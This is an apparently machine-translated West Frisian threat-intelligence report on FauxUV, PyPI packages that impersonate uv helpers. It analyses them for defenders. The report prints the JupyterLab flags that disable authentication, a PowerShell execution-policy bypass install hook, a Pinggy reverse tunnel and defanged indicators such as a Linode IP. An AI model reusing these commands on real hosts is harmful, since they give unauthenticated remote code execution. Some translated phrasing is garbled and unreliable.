TL; DR
In kluster fan PyPI-pakketten liende de namme fan uv, de rappe, tige populêre Rust-basearre Python-pakketbehearder, om har foar te dwaan as UV-helpers. Se leverje hast gjin echte funksjonaliteit. Wat se ynstee drage is in Windows-lading dy't in ... kin JupyterLab-tsjinner mei autentikaasje útskeakele en, yn lettere ferzjes, publisearret it it op it iepenbiere ynternet fia in omkearde tunnel.
Dat is it hiele ferhaal yn ien rigel: de namme fan in fertroud ark as de lokmiddel, en JupyterLab as de motor foar it útfieren fan koade op ôfstân. In Jupyter-tsjinner fiert elke koade út dy't jo yn in net-tsjinner ynfiere.ebook sel; ien dy't lansearre is mei in leech token en bûn is oan elke netwurkynterface is in iepen ynterpreter dy't elkenien dy't de poarte berikke kin, bestjoere kin.
Wy folgje it kluster as FauxUVDe twa ûndersochte pakketten binne moon-uv (0.0.1-0.0.16) en my-magic-uv-helper (0.0.1), publisearre troch deselde operator en live op PyPI op it momint fan analyze.
| Ekosysteem | PyPI |
| Packages | moon-uv (0.0.1-0.0.16), my-magic-uv-helper (0.0.1) |
| Platfoarm rjochte | Windows |
| Kearngedrach | Net-autentisearre JupyterLab-tsjinner, publisearre op it ynternet fia in reverse tunnel |
| Legitime ark misbrûkt | uv, JupyterLab, wolkflared, Pinggy |
De lokmiddel: in namme dy't jo al fertrouwe
uv is ien fan 'e meast ynstalleare Python-ark fan 'e lêste twa jier, dus "in helper foar uv" is in pakket dat in ûntwikkelder sûnder twifel ynstallearret. FauxUV besteget syn leauwensweardigens folslein oan dy namme. De pakketten pakke de echt uv ynstallearder fan Astral - de URL's yn 'e payload ferwize nei echte, betroubere hosts - dus in flugge blik sjocht neat oars as betroubere ferwizings. Gjin fan 'e pakketten foegje eins ta uv funksjonaliteit; de namme is de hiele ferklaaiïng.
JupyterLab as de RCE-motor
It middelpunt fan 'e lading is in launcher dy't JupyterLab start mei elke beskerming fuorthelle:
jupyter server --with jupyterlab --ip=0.0.0.0 # listen on every interface --ServerApp.token="" # no password, no token --allow_origin='*' # accept cross-origin connections --disable_check_xsrf # allow a remote browser/WebSocket to drive it Elke flagge nimt in beskerming fuort, en it ferstjoerde skrift annotearret se sels (yn it orizjinele Sineesk): it lege token "skeakelt wachtwurd- en tokenkontrôles út - elkenien kin ferbine." jupyter lab is in legitime datawittenskip IDE, mar in netebook sel fiert willekeurige koade út troch ûntwerp. Op dizze manier konfigurearre en bûn oan 0.0.0.0, it hâldt op in IDE te wêzen en wurdt in net-autentisearre eksterne shell op 'e host - gjin oanpaste malware-binêre triem fereaske, gewoan in mainstream ark dat de ferkearde kant op wiist.
Twa stipe stikken meitsje dat berikber en werhelleber:
- In stille ynstallaasje-trigger. Iere ferzjes rinne PowerShell mei -ExecutionPolicy Bypass streekrjocht fan setup.py on pip ynstallearje, op 'e eftergrûn mei flaters ûnderdrukt, sadat pip sjocht der normaal út. Lettere ferzjes ferpleatse deselde primitive nei in pip-uv kommandorigel-ark - en lit de automatyske útfiering by ynstallaasje hielendal falle.
- In iepenbiere omkearde tunnel. In tsjinner oan 0.0.0.0 is noch altyd allinich berikber foar hosts dy't nei de masine rûte kinne. In bondele module iepenet in [Pinggy](https://pinggy.io/) SSH reverse tunnel dy't de lokale Jupyter-poarte trochstjoert nei in iepenbier adres, wêrtroch dy limyt fuorthelle wurdt. It ferstjoerde skript hat ek - útkommentearre - in alternatyf paad mei Cloudflare's wolkflared en in netsh port-proxy nei in Linode IP, wêrby't itselde doel dokumintearre wurdt fia ferskillende ynfrastruktuer.
Yninoar set: ynstallearje it pakket, en in Windows-host einiget mei it útfieren fan in wachtwurdleaze JupyterLab en it publisearje op it iepen ynternet.
Hoe't FauxUV evoluearre is
De ferzjes fan FauxUV waarden yn rappe opienfolging ferstjoerd, en it triggerpunt fan 'e lading beweegde der oerhinne - in herinnering dat ien flagge ferzje selden it heule ferhaal fan in pakketline fertelt.
| Stage | versions | Trekker | Wat it tafoeget |
|---|---|---|---|
| Ynstallearje-heak | moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 | setup.py op pip ynstallaasje | uv ynstallaasje + PATH foarôfgeand |
| CLI-runtime | moon-uv 0.0.5-0.0.13 | pip-uv befel | de wachtwurdleaze JupyterLab-launcher |
| tunnel | moon-uv 0.0.14-0.0.16 | pip-uv befel | in aktive Pinggy-omkearde tunnel |
Benammen de automatyske ynstallaasjetiid wie fuorthelle yn 'e lettere, bettere ferzjes - dus in scanner dy't allinich op libbensduur toetseard is hooks soe de nijere releases skoare as minder riskant, krekt efterút.
Yndikatoaren fan kompromis
Befêstige troch it lêzen fan 'e pakketboarne; einpunten markearre commented binne oanwêzich yn 'e bestannen, mar wurde net útfierd troch de analysearre ferzje. Netwurkindikatoaren binne defangearre.
| Type | indicator |
|---|---|
| Kommando ynstallearje | powershell -ExecutionPolicy Bypass it echte uv-ynstallearder ophelje, op it momint fan pip-ynstallaasje |
| JupyterLab-flaggen | --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf |
| Omkearde tunnel (aktyf) | free[.]pinggy[.]io:443 trochstjoere lokaal 127.0.0.1:8888 |
| Tunnelhost (kommentaar) | cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718 |
| IP (kommentearre) | 45[.]79[.]134[.]161 (Linode) fia netsh port-proxy |
| Persistence | foarôfgiet %USERPROFILE%\.local\bin nei de brûker PATH |
Gedrachssignalen dêr't jo op moatte warskôgje, ûnôfhinklik fan dizze krekte snaren: a pip ynstallearje dat ûntstiet powershell - Útfieringsbelied Bypass; elke jupyter lansearje kombinearjen token = "" mei –ip=0.0.0.0; en útgeande SSH nei *.pinggy.io fan in ûntwikkelder of CI-masine.
Waarnommen gedrach en oarsprong
De twa pakketten diele in auteur en in metoade: de namme fan in fertroud ark, allinich Windows-gating, flaterûnderdrukte eftergrûnútfiering, en ôfhinklikens fan betroubere ark, sadat in flugge blik allinich betroubere URL's sjocht. De boarne befettet Sineesktalige opmerkings dy't de feiligensrelevante flaggen dúdlik beskriuwe; wy rapportearje dy as waarnimbere útspraken yn it bestân, net as in bewearing oer motyf. De tastean_oarsprong wearde en in colab.bat bestânsnamme werhellet de ynformele "diel myn lokale runtime" workflows dy't sirkulearje foar Google Colab. Wat de oarsprong ek is, it ynpakte resultaat is itselde.
Ynfloed en begelieding foar ferdigeners
Wa is bleatsteld oan FauxUV. Windows-ûntwikkelders en CI-rinners dy't pip ynstallearje ien fan dizze pakketten. In wachtwurdleaze JupyterLab op 0.0.0.0 is útfiering fan koade op ôfstân foar elkenien dy't de poarte berikke kin; de tunnel ferwideret de limyt "wa kin it berikke". De server rint as de ynstallearjende brûker, en erft de bestannen, tokens en wolkgegevens fan dy brûker.
Wêrom it maklik te missen is. Elke netwurkstring wiist nei in betroubere host - Astral, JupyterLab, wolkflared, Pinggy, Colab. Der is gjin malware-binêr om te hashen en gjin obfuskearre blob om te dekodearjen. Reputaasje- en hantekening-basearre scannen ûnderskatte dit, dêrom de gedrachsfraach - wat docht de masine as it ynstallearjen fan dit pakket - is dejinge dy't it fangt.
Lieding:
- Behannelje elke ynstallaasjetiid powershell - Útfieringsbelied Bypass as in build-breaking sinjaal, hokker URL it ek ophellet.
- Alert op jupyter lansearre mei in lege token en –ip=0.0.0.0; dy kombinaasje moat nea op in wurkstasjon of runner ferskine.
- Monitorearje foar útgeande SSH nei tunnelproviders (*.pinggy.io, *.trycloudflare.com) fan ûntwikkelder- en CI-omjouwings.
- Ynstallearje uv fan [syn offisjele boarne](https://docs.astral.sh/uv/) en wês skeptysk oer "helper"-pakketten fan tredden dy't in ark ynpakke dat al triviaal te ynstallearjen is.
- Fêstlizze en opnij kontrolearje ôfhinklikheden by upgrade - in pakketline kin nije mooglikheden ferzje-oer-ferzje groeie.



